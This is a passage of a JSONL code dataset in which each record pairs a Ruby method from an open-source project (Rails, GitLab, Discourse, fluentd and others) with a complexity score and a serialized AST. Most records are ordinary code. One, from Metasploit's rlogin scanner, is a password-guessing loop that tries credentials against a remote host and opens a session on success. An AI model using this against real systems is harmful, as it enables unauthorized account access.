:\"const\",\"children\":[null,\"Excon\"]},\"Error\"]},\"Conflict\"]}]},null,null]},null]}]}]}]}","id":"a72ccb64-f0a3-4ab9-b9a1-bc23b10e9a8e"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1276,"raw_source":"def test_should_render_html_formatted_partial\n    get :partial\n    assert_equal \"partial html\", @response.body\n    assert_equal \"text/html\", @response.media_type\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_render_html_formatted_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"partial\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"partial html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"text/html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"media_type\"]}]}]}]}","id":"badd8bfd-6dfd-4b71-ac57-3d2a910bb5c1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/router_test.rb","start_line":200,"raw_source":"def test_splat_in_recall\n        get \"/*path\", to: \"foo#bar\"\n\n        path, _ = _generate(nil, { controller: \"foo\", action: \"bar\" }, { path: \"b\" })\n        assert_equal \"/b\", path\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_splat_in_recall\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/*path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#bar\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"_generate\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"b\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/b\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"bd84dc88-f71a-46f9-9c17-ad40cafd93f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sidebars_helper.rb","start_line":444,"raw_source":"def super_sidebar_default_pins(panel_type, user)\n    case panel_type\n    when 'project'\n      project_default_pins(user)\n    when 'group'\n      group_default_pins(user)\n    else\n      []\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"super_sidebar_default_pins\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"panel_type\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"panel_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project_default_pins\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group_default_pins\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"f36044a7-4c14-4fe5-9dc8-c1c4833c1986"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/homepage/articles_query.rb","start_line":26,"raw_source":"def self.call(...)\n      new(...).call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"73efe612-ace3-4d86-967b-94ca94e23ac3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/rservices/rlogin_login.rb","start_line":152,"raw_source":"def try_user_pass(user, luser, pass, status = nil)\n    luser ||= 'root'\n\n    vprint_status \"#{rhost}:#{rport} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'\"\n\n    this_attempt ||= 0\n    ret = nil\n    while this_attempt <= 3 and (ret.nil? or ret == :refused)\n      if this_attempt > 0\n        # power of 2 back-off\n        select(nil, nil, nil, 2**this_attempt)\n        vprint_error \"#{rhost}:#{rport} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset\"\n      end\n      ret = do_login(user, pass, luser, status)\n      this_attempt += 1\n    end\n\n    case ret\n    when :no_pass_prompt\n      vprint_status \"#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt\"\n      return :skip_user\n\n    when :busy\n      vprint_error \"#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state\"\n\n    when :refused\n      vprint_error \"#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused.\"\n\n    when :skip_user\n      vprint_status \"#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests\"\n      return :skip_user\n\n    when :success\n      # session created inside do_login, ignore\n      return :next_user\n\n    else\n      if login_succeeded?\n        start_rlogin_session(rhost, rport, user, luser, pass, @trace)\n        return :next_user\n      end\n    end\n\n    # Default to returning whatever we got last..\n    ret\n  end","complexity_score":65.05,"ast_json":"{\"type\":\"def\",\"children\":[\"try_user_pass\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"luser\"]},{\"type\":\"arg\",\"children\":[\"pass\"]},{\"type\":\"optarg\",\"children\":[\"status\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"luser\"]},{\"type\":\"str\",\"children\":[\"root\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" rlogin - Attempting: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"':\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" from '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luser\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"this_attempt\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"this_attempt\"]},\"<=\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"==\",{\"type\":\"sym\",\"children\":[\"refused\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"this_attempt\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"lvar\",\"children\":[\"this_attempt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" rlogin - Retrying '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"':\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" from '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luser\"]}]},{\"type\":\"str\",\"children\":[\"' due to reset\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"lvar\",\"children\":[\"luser\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"this_attempt\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_pass_prompt\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" rlogin - Skipping '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' due to missing password prompt\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_user\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"busy\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" rlogin - Skipping '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"':\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" from '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luser\"]}]},{\"type\":\"str\",\"children\":[\"' due to busy state\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"refused\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" rlogin - Skipping '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"':\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" from '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luser\"]}]},{\"type\":\"str\",\"children\":[\"' due to connection refused.\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" rlogin - Skipping disallowed user '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' for subsequent requests\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_user\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login_succeeded?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_rlogin_session\",{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"luser\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"ivar\",\"children\":[\"@trace\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}","id":"96518d2a-bc1e-4e72-9510-7644a820a1ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_search_results.rb","start_line":145,"raw_source":"def find_commits(query, limit:)\n      return [] unless Ability.allowed?(@current_user, :read_code, @project)\n\n      commits = find_commits_by_message(query, limit: limit)\n      commit_by_sha = find_commit_by_sha(query)\n      commits |= [commit_by_sha] if commit_by_sha\n      commits\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_commits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwarg\",\"children\":[\"limit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"ivar\",\"children\":[\"@current_user\"]},{\"type\":\"sym\",\"children\":[\"read_code\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"send\",\"children\":[null,\"find_commits_by_message\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commit_by_sha\",{\"type\":\"send\",\"children\":[null,\"find_commit_by_sha\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_by_sha\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commits\"]},\"|\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit_by_sha\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"commits\"]}]}]}","id":"5464010a-3656-48ca-a584-a8130a88246c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/review.rb","start_line":15,"raw_source":"def select_bundled_action(reviewable, value)\n        within(reviewable_by_id(reviewable.id)) do\n          reviewable_action_dropdown.select_row_by_value(value)\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"select_bundled_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewable\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"reviewable_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"id\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewable_action_dropdown\"]},\"select_row_by_value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"0f3a6cfb-f877-4a30-a13f-c62974790ad5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/dup_test.rb","start_line":24,"raw_source":"def test_is_readonly\n      topic = Topic.first\n      topic.readonly!\n\n      duped = topic.dup\n      assert_predicate duped, :readonly?, \"should be readonly\"\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_is_readonly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"readonly!\"]},{\"type\":\"lvasgn\",\"children\":[\"duped\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"duped\"]},{\"type\":\"sym\",\"children\":[\"readonly?\"]},{\"type\":\"str\",\"children\":[\"should be readonly\"]}]}]}]}","id":"d09969e4-c836-42c9-afd7-913436599a10"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/portals/articles_controller.rb","start_line":49,"raw_source":"def search_articles\n    @articles = @articles.search(list_params) if list_params.present?\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"search_articles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_params\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"search\",{\"type\":\"send\",\"children\":[null,\"list_params\"]}]}]},null]}]}","id":"1162df9f-d939-4b20-a378-5f991370bc07"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_forward.rb","start_line":1069,"raw_source":"def simulate_auth_sequence(io, shared_key=SHARED_KEY, username=USER_NAME, password=USER_PASSWORD)\n    auth_response_timeout = 30\n    shared_key_salt = 'salt'\n\n    # reading helo\n    helo_data = read_data(io, auth_response_timeout){|data| MessagePack.unpack(data) rescue nil }\n    raise \"Authentication packet timeout\" unless helo_data\n    raise \"Authentication connection closed\" if helo_data == ''\n    # ['HELO', options(hash)]\n    helo = MessagePack.unpack(helo_data)\n    raise \"Invalid HELO header\" unless helo[0] == 'HELO'\n    raise \"Invalid HELO option object\" unless helo[1].is_a?(Hash)\n    @options = helo[1]\n\n    # sending ping\n    ping = [\n      'PING',\n      'selfhostname',\n      shared_key_salt,\n      Digest::SHA512.new\n        .update(shared_key_salt)\n        .update('selfhostname')\n        .update(@options['nonce'])\n        .update(shared_key).hexdigest,\n    ]\n    if @options['auth'] # auth enabled -> value is auth salt\n      pass_digest = Digest::SHA512.new.update(@options['auth']).update(username).update(password).hexdigest\n      ping.push(username, pass_digest)\n    else\n      ping.push('', '')\n    end\n    io.write ping.to_msgpack\n    io.flush\n\n    # reading pong\n    pong_data = read_data(io, auth_response_timeout){|data| MessagePack.unpack(data) rescue nil }\n    raise \"PONG packet timeout\" unless pong_data\n    raise \"PONG connection closed\" if pong_data == ''\n    # ['PING', bool(auth_result), string(reason_if_failed), self_hostname, shared_key_digest]\n    pong = MessagePack.unpack(pong_data)\n    raise \"Invalid PONG header\" unless pong[0] == 'PONG'\n    raise \"Authentication Failure: #{pong[2]}\" unless pong[1]\n    clientside_calculated = Digest::SHA512.new\n      .update(shared_key_salt)\n      .update(pong[3])\n      .update(@options['nonce'])\n      .update(shared_key).hexdigest\n    raise \"Shared key digest mismatch\" unless clientside_calculated == pong[4]\n\n    # authentication success\n    true\n  end","complexity_score":99.73,"ast_json":"{\"type\":\"def\",\"children\":[\"simulate_auth_sequence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]},{\"type\":\"optarg\",\"children\":[\"shared_key\",{\"type\":\"const\",\"children\":[null,\"SHARED_KEY\"]}]},{\"type\":\"optarg\",\"children\":[\"username\",{\"type\":\"const\",\"children\":[null,\"USER_NAME\"]}]},{\"type\":\"optarg\",\"children\":[\"password\",{\"type\":\"const\",\"children\":[null,\"USER_PASSWORD\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_response_timeout\",{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"lvasgn\",\"children\":[\"shared_key_salt\",{\"type\":\"str\",\"children\":[\"salt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"helo_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_data\",{\"type\":\"lvar\",\"children\":[\"io\"]},{\"type\":\"lvar\",\"children\":[\"auth_response_timeout\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessagePack\"]},\"unpack\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helo_data\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Authentication packet timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helo_data\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Authentication connection closed\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"helo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessagePack\"]},\"unpack\",{\"type\":\"lvar\",\"children\":[\"helo_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helo\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"HELO\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Invalid HELO header\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helo\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Invalid HELO option object\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helo\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ping\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PING\"]},{\"type\":\"str\",\"children\":[\"selfhostname\"]},{\"type\":\"lvar\",\"children\":[\"shared_key_salt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"new\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"shared_key_salt\"]}]},\"update\",{\"type\":\"str\",\"children\":[\"selfhostname\"]}]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nonce\"]}]}]},\"update\",{\"type\":\"lvar\",\"children\":[\"shared_key\"]}]},\"hexdigest\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pass_digest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA512\"]},\"new\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auth\"]}]}]},\"update\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},\"update\",{\"type\":\"lvar\",\"children\":[\"password\"]}]},\"hexdigest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ping\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"pass_digest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ping\"]},\"push\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ping\"]},\"to_msgpack\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"flush\"]},{\"type\":\"lvasgn\",\"children\":[\"pong_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_data\",{\"type\":\"lvar\",\"children\":[\"io\"]},{\"type\":\"lvar\",\"children\":[\"auth_response_timeout\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessagePack\"]},\"unpack\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong_data\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"PONG packet timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong_data\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"PONG connection closed\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pong\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessagePack\"]},\"unpack\",{\"type\":\"lvar\",\"children\":[\"pong_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"PONG\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Invalid PONG header\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pong\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authentication Failure: 